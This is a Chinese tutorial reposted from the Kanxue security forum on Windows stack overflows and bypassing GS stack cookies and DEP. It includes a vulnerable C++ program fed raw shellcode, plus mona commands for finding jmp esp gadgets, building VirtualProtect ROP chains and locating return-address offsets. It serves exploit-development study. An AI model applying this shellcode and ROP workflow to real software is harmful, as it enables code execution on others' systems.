查看原文
其他

栈溢出漏洞--GS和DEP

自然dashen 看雪学院 2021-03-07

本文为看雪论坛优秀文章

看雪论坛作者ID:自然dashen



案例


 

#include "stdafx.h"
#include "string.h"
 
class GSVirtual {
public :
    void gsv(char * src)
    
{
        char buf[200];
        strcpy(buf, src);
        bar(); // virtual function call
    }
    virtual void  bar()
    
{
    }
};
int main()
{
 
    GSVirtual test;
    test.gsv(
        "\x90\x90\x90\x90"   
        "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
        "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
        "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
        "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
        "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
        "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
        "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
        "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
        "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
        "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
        "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x08\x21\x40"
        );
    return 0;
}



GS



启用安全检查,防止栈溢出执行,VC6.0没有这个选项。

 
开了GS后函数开始会多出全局变量security_cookie给eax,然后放在var4。


函数结束是会把security_cookie给寄存器然后调用check_cookike这个函数:



按x可以看到这个值是从这里来的:



是一个叫init_cookie的函数:



继续看交叉引用,发现是入口点位置直接执行:



突破GS


 
1. 虚表攻击

2. SEH


DEP


 
开启DEP栈就没有执行代码的权限,溢出也没用。

>>>>

PE文件


勾上这个选项就是开启DEP。


>>>>

VS




>>>>

X系统



ImmunityDebugger配合mona的使用生成ROP。


>>>>

安装


安装好这个软件。

注意:
install Python 2.7.14 (or a higher 2.7.xx version) Make sure you are installing the 32bit version of python.

要不然会闪退:


然后github下载插件:


把mona安装到下面得文件路径
Immunity Inc\Immunity Debugger\PyCommands

>>>>

简单使用


输入!mona命令运行模块,会出现一大堆的命令:



这个是配合上面得命令使用的
!mona <command> <parameter>

例如:
在所有模块查找所有得jmp esp指令
!mona jmp -r esp -m*


>>>>

生成ROP


!mona rop -m * -cpb '\x00' *
执行这条命令会生成能够把栈修改为可读可写可执行的代码。

会生成4个文本,打开rop_chains.txt:



里面会生成两个函数的chain
VirtualProtect()
VirtualAlloc()

里面有各种语言版本的代码,自己选用。





在返回地址里面填写刚刚生成的VirtualProtect的ROP





然后在ROP的后面写我们的shellcode。

运行程序:
前面的代码是用来把VirtualProtect函数地址和所需的参数给放到寄存器里面,最后pushad到栈里面,就会形成一个VirtualProtect的函数栈。

 
执行完VirtualProtect函数修改栈属性,然后执行jmp esp,继续栈里面执行我们的shellcode。


确定返回地址偏移位置
!mona pattern_create xxxx

生成一个xxxx大小的数组,用来确定溢出的返回地址。

我这里用它生成了个3000字节的数组:



生成在pattern这个文件里面,不要让他换行并且拷贝过来并且发包:



 
 
之后到我们溢出的返回地址里面找字符,发现是8Co9:

 
输入命令
!mona pattern_offset 8Co9

发现在2006的偏移位置:




- End -






看雪ID:自然dashen

https://bbs.pediy.com/user-710414.htm 

*本文由看雪论坛  自然dashen  原创,转载请注明来自看雪社区




推荐文章++++

应急服务辅助工具与系统溯源思路

利用auxv控制canary

未知黑客团队钓鱼样本分析

使用Binary Ninja去除ollvm流程平坦混淆

某盗链App逆向



好书推荐






公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



“阅读原文”一起来充电吧!

    您可能也对以下帖子感兴趣

    文章有问题?点此查看未经处理的缓存